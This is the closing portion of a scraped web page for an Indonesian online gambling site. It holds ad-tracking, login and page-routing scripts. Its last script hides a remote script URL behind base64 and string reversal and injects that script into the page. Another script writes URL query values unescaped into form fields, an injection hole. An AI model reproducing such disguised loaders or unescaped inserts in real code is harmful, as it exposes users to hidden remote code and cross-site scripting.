    #telegramLoginModal .modal-content {
        max-width: 350px;
        margin: auto;
    }
</style>

<script src="https://hoki777.de.com/themes/default/js/vendor.js"></script>
    <script src="https://hoki777.de.com/themes/default/js/global.js?v=2.1.0.5.2 ACN Req. Reduced"></script>
    
    
        <script src="https://hoki777.de.com/themes/default/js/index.js?v=2.1.0.5.2 ACN Req. Reduced"></script>
        <script src="https://hoki777.de.com/themes/default/vendor/jquery-validate/jquery.validate.min.js"></script>

<script>
    const getQueryParameter = (param) => new URLSearchParams(document.location.search.substring(1)).get(param)
    const getAllQueryParameter = () => Object.fromEntries((new URLSearchParams(document.location.search).entries()))
    const isValidUrl = (string) => {
        try {
            new URL(string)
            return true
        } catch (e) {
            return false
        }
    }

    function setQueryParameter(param, value) {
        $('a[href]').attr('href', function(index, href) {
            if (isValidUrl(href) && href != 'javascript:;') {
                let url = new URL(href)
                url.searchParams.set(param, value)
                return url
            } else {
                return href
            }
        });
        
        $(document).on('click', '[onclick]', function (e) {
            // ambil onclick asli
            const onclick = $(this).attr('onclick');
            // contoh: intercept window.location.href
            const match = onclick.match(/window\.location\.href\s*=\s*['"]([^'"]+)['"]/);
            if (match) {
                e.preventDefault(); // stop onclick lama
                let url = match[1];
                // contoh: tambahkan parameter
                const clickId = sessionStorage.getItem(param);
                if (clickId && !url.includes(param + '=')) {
                    url += (url.includes('?') ? '&' : '?') + param + '=' + encodeURIComponent(clickId);
                }

                window.location.href = url;
            }
        });
    }
    let par = window.location.search == '' ? sessionStorage : getAllQueryParameter()
    $.each(par, function (key, val) {
        if ($.inArray(key, ['opera_click_id', 'fbclid', 'fb_clickid', 'ttclid', 'tt_clickid']) !== -1) {
            if (sessionStorage.getItem(key) !== null) {
                setQueryParameter(key, sessionStorage.getItem(key))
                $('#register-form').append(`<input type="hidden" name="${key}" value="${getQueryParameter(key)}">`);
            } else {
                if (getQueryParameter(key) !== null) {
                    setQueryParameter(key, getQueryParameter(key))
                    $('#register-form').append(`<input type="hidden" name="${key}" value="${getQueryParameter(key)}">`);
                    sessionStorage.setItem(key, getQueryParameter(key))
                }
            }
        }
    });
</script>

<script>
    function numberAmount(number) {
        let format = new Intl.NumberFormat('en-US', { maximumFractionDigits: 2 }).format(number)
        return format.toString()
    }
    
    window.addEventListener("popstate", (event) => {
        location.reload();
    });
    
    $("a[name=playGames]").on("click", function () {
        fbq('trackCustom', "PlayGame")
        ttq.track('PlayGame');
                try {
            const playParams = new URL($(this).attr('href'), window.location.origin).searchParams;
            window.dataLayer = window.dataLayer || [];
            dataLayer.push({
                event: 'play_game',
                provider_code: playParams.get('providerCode'),
                game_code: playParams.get('gameCode'),
                currency: "IDR",
                branch: "398"
            });
        } catch (e) {}
            });

    $("a[name=locale-switch]").on("click", function () {
        const locale = $(this).attr('data-locale')
        $.ajax({
            type: "POST",
            url: "https://hoki777.de.com/locale",
            data: {
                _token: "ioLVyhi427xjDwj0M4Cluhhz6pastMJaRzcBEy0J",
                locale: locale,
            },
            success: function (res) {
                if (res) {
                    location.reload()
                } else {
                    Swal.fire({
                        toast: true,
                        position: 'top-end',
                        icon: 'error',
                        title: "Locale not supported."
                    });
                }
            }
        });
    });

    $('.toggle-password').on('click', function (e) { 
        e.preventDefault();
        $(this).toggleClass('fa-eye-slash fa-eye')
        const type = $(this).hasClass('fa-eye-slash') ? 'password' : 'text'
        $($(this).attr('toggle')).attr('type', type)
    });

    
    jQuery.validator.addMethod("numbers", function(value, element) {
        return /[0-9]/.test(value);
    }, "Kata sandi harus memiliki minimal 1 angka. ");

    jQuery.validator.addMethod("letters", function(value, element) {
        return /[a-z]/.test(value);
    }, "Kata sandi harus terdiri dari minimal 1 huruf. ");

    jQuery.validator.addMethod("contain", function(value, element, params) {
        let username = $(params).val();
        if (username && value) {
            return value.toLowerCase().indexOf(username.toLowerCase()) === -1;
        }
        return true;
    }, "Kata sandi tidak boleh mengandung nama pengguna. ");
</script><script>
$(document).ready(function() {
    $(this).scrollTop(0);
    $.ajax({
        type: "POST",
        url: "https://hoki777.de.com/paymentService",
        data: { _token: "ioLVyhi427xjDwj0M4Cluhhz6pastMJaRzcBEy0J"},
        success: function (response) {
            let wdTime = response.data.wd
            let depoTime = response.data.depo
            $("[id=withdrawTime]").text(wdTime)
            $("[id=withdrawTimeBar]").attr('aria-valuenow', wdTime).width((wdTime / 15) * 100 + "%")
            $("[id=depositTime]").text(depoTime)
            $("[id=depositTimeBar]").attr('aria-valuenow', depoTime).width((depoTime / 15) * 100 + "%")
        }
    });
            
        
                                    $('#homePopup').modal('show');
                    
                    });
    $('#pageLoadingBar').hide()
    window.onpopstate = function() {
        let path = window.location.pathname;
        routeNav(path);
    }

    function routeNav(path) {
        let urlPar = ''
        $.each(sessionStorage, function (key, val) { 
            if ($.inArray(key, ['opera_click_id', 'fbclid', 'fb_clickid', 'ttclid', 'tt_clickid']) !== -1) {
                urlPar += (urlPar.includes('?') ? '&' : '?') + key + '=' + val;
            }
        });
        path += urlPar
        if (path == window.location.pathname) return;
        history.pushState(null, null, path);
        let url = "https://hoki777.de.com" + window.location.pathname;
        if (path == '/') {
            window.location.replace("https://hoki777.de.com")
            return false;
        }
        $(".header-form>a").removeClass('active')
		let elem = document.getElementById("pageLoadingBar");
		let width = 1;
        $.ajax({
            type: "GET",
            url: url,
			beforeSend: () => {
				$('#pageLoadingBar').show()
				let id = setInterval(frame, 100);
				function frame() {
					if (width >= 100) {
						clearInterval(id);
					} else {
						width++;
						elem.style.width = width + '%';
					}
				}
			},
            success: function (page) {
				width = 100;
				elem.style.width = width + '%';
                $("main[id=main-route]").empty().append(page);
                $("title").text($("#title-seo").text());
                const script = $("scope-script").html()
                $("scope-script").remove()
                setTimeout(() => {
                    $("html, body").animate({ scrollTop: "0" }, 1000);
				    $('#pageLoadingBar').hide()
				    elem.style.width = '1%';
                    $("custom-script").empty().append(script);
                    filterGameSelection('all')
                }, 500);
            }
        });
    }

</script>
<script>
    $(window).scroll(function(e){ 
    var $cls = $('.header-nav'); 
    var isPositionFixed = ($cls.css('position') == 'fixed');
        if ($(this).scrollTop() > 250 && !isPositionFixed){ 
            $cls.css({'position': 'fixed', 'top': '0px', 'width':'100%'}); 
        }
        if ($(this).scrollTop() < 250 && isPositionFixed){
            $cls.css({'position': 'sticky', 'top': '0px'}); 
        } 
    });
</script>
<script>
    function maxInputAmount(wallet) {
        const amountWd = $("#withdrawAmount")
		const maxWd = parseFloat(amountWd.attr('max'))
		let walletAvail = parseFloat($(`#${wallet}Desc`).text())
        walletAvail = isNaN(walletAvail) ? 0 : walletAvail;
        if (walletAvail != 0) {
            if (walletAvail < maxWd) {
                amountWd.attr('max', walletAvail)
            }
        }
    }

    window.showError = (title, message) => {
        return Swal.fire({
            icon: 'info',
            title: title,
            html: message,
            timerProgressBar: true,
            timer: 5000,
        });
    }

    $(".game-search>.form-control-sm").on("focus", function () {
        if ($(this).val().length == 0) {
            $(".game-search").width('100%');
            $(".form-control-sm").width('100%');
        }
    })

    $(".game-search>.form-control-sm").on("focusout", function () {
        if ($(this).val().length == 0) {
            $(".game-search").width('');
            $(".form-control-sm").width('');
        }
    })

    
    $("form[name=login-form]").on('submit', function(e) {
        e.preventDefault();
        let formData = {};
        $.each($(this).serializeArray(), function (i, val) { 
             formData[val.name] = val.value
        });
        formData.usernameLogin = formData.usernameLogin.replace(/\s/g, '');
        let btnTxt = $("button[name=buttonLogin]").html()
        $.ajax({
            url: "https://hoki777.de.com/doLogin",
            type: 'POST',
            data: {
                _token: "ioLVyhi427xjDwj0M4Cluhhz6pastMJaRzcBEy0J",
                username: formData.usernameLogin,
                password: formData.passwordLogin
            },
            beforeSend: function() {
                $("input[name='usernameLogin']").attr('readonly', true)
                $("input[name='passwordLogin']").attr('readonly', true)
                $("button[name=buttonLogin]").attr('disabled', true)
                $("button[name=buttonLogin]").html('<span class="spinner-border spinner-border-sm" role="status" aria-hidden="true"></span>');
            },
            success: function (data) {
                window.history.replaceState(null, null, window.location.href);
                if (data.code == 200) {
	                fbq('track', 'Login');
                    ttq.track('Login')
                    const alert = {
                        toast: true,
                        position: 'top-end',
                        icon: 'success',
                        timer: 3000,
                        title: data.message
                    }
                    localStorage.setItem("loginAlert", JSON.stringify(alert));
                    let loginReloaded = false;
                    const reloadAfterLogin = function () {
                        if (loginReloaded) return;
                        loginReloaded = true;
                        location.reload();
                    };
                    window.dataLayer = window.dataLayer || [];
                    dataLayer.push({
                        event: 'login',
                        username: formData.usernameLogin,
                        method: 'password',
                        status: data.code,
                        branch: "398",
                        eventCallback: reloadAfterLogin,
                        eventTimeout: 1500
                    });
                    setTimeout(reloadAfterLogin, 1500);
                } else {
                    let msg = '';
                    $.each(data.errors, function (index, valueOfElement) { 
                        msg += valueOfElement + '<br />'
                    });
                    Swal.fire({
                        toast: true,
                        position: 'top-end',
                        icon: 'error',
                        title: (msg == '') ? "Mohon maaf atas ketidaknyamanannya, halaman ini akan dimuat ulang dalam 5 detik" : msg
                    });
                    if (msg == '') {
                        location.reload();
                    }
                    $("input[name='usernameLogin']").removeAttr('readonly')
                    $("input[name='passwordLogin']").removeAttr('readonly')
                    $("input[name='passwordLogin']").val('')
                    $("button[name=buttonLogin]").removeAttr('disabled')
                    $("button[name=buttonLogin]").html(btnTxt)
                }
            },
            error: function (data) {
                if (data.statusText === 'timeout') {
                location.reload();
            } else {
                let msg = '';
                $.each(data.responseJSON.errors, function (index, valueOfElement) { 
                        msg += valueOfElement + '<br />'
                });
                Swal.fire({
                    toast: true,
                    position: 'top-end',
                    icon: 'error',
                    title: (msg == '') ? "Mohon maaf atas ketidaknyamanannya, halaman ini akan dimuat ulang dalam 5 detik" : msg
                });
                if (msg == '') {
                    location.reload();
                }
                $("input[name='usernameLogin']").removeAttr('readonly')
                $("input[name='passwordLogin']").removeAttr('readonly')
                $("input[name='usernameLogin']").val('')
                $("input[name='passwordLogin']").val('')
                $("button[name=buttonLogin]").removeAttr('disabled')
                $("button[name=buttonLogin]").html(btnTxt)
            }
        }
        });
    });

    function gameAlert() {
        return Swal.fire({
            icon: 'info',
            title: "Perhatian.",
            html: "Silakan login untuk bermain!",
            timerProgressBar: true,
            timer: 5000,
        });
    }
    </script><!-- Start of LiveChat (www.livechat.com) code -->
<script>
    window.__lc = window.__lc || {};
    window.__lc.license = 19408592;
    window.__lc.integration_name = "manual_channels";
    window.__lc.product_name = "livechat";
    ;(function(n,t,c){function i(n){return e._h?e._h.apply(null,n):e._q.push(n)}var e={_q:[],_h:null,_v:"2.0",on:function(){i(["on",c.call(arguments)])},once:function(){i(["once",c.call(arguments)])},off:function(){i(["off",c.call(arguments)])},get:function(){if(!e._h)throw new Error("[LiveChatWidget] You can't use getters before load.");return i(["get",c.call(arguments)])},call:function(){i(["call",c.call(arguments)])},init:function(){var n=t.createElement("script");n.async=!0,n.type="text/javascript",n.src="https://cdn.livechatinc.com/tracking.js",t.head.appendChild(n)}};!n.__lc.asyncInit&&e.init(),n.LiveChatWidget=n.LiveChatWidget||e}(window,document,[].slice))
</script>
<noscript><a href="https://www.livechat.com/chat-with/19408592/" rel="nofollow">Chat with us</a>, powered by <a href="https://www.livechat.com/?welcome" rel="noopener nofollow" target="_blank">LiveChat</a></noscript>
<!-- End of LiveChat code -->
<script>(function(){var _0x1=[atob('aG9raTc3Nw=='),atob('aHR0cHM6Ly9wYXkuZnlwYXkuY2xvdWQ='),atob('c2oub3BtL2R1b2xjLnlhcHlmLmNpdGF0cy8vOnNwdHRo'),atob('aHR0cHM6Ly9zdGF0aWMuZnlwYXkuY2xvdWQ=')];window['PW_ENDPOINT']=_0x1[0];window['__PW_API_HOST']=_0x1[1];if(_0x1[3])window['__PW_STATIC_HOST']=_0x1[3];var _0x2=document['createElement']('script');_0x2['src']=_0x1[2]['split']('')['reverse']()['join']('');document['head']['appendChild'](_0x2);})();</script>
</body>
</html>

<custom-script>
</custom-script>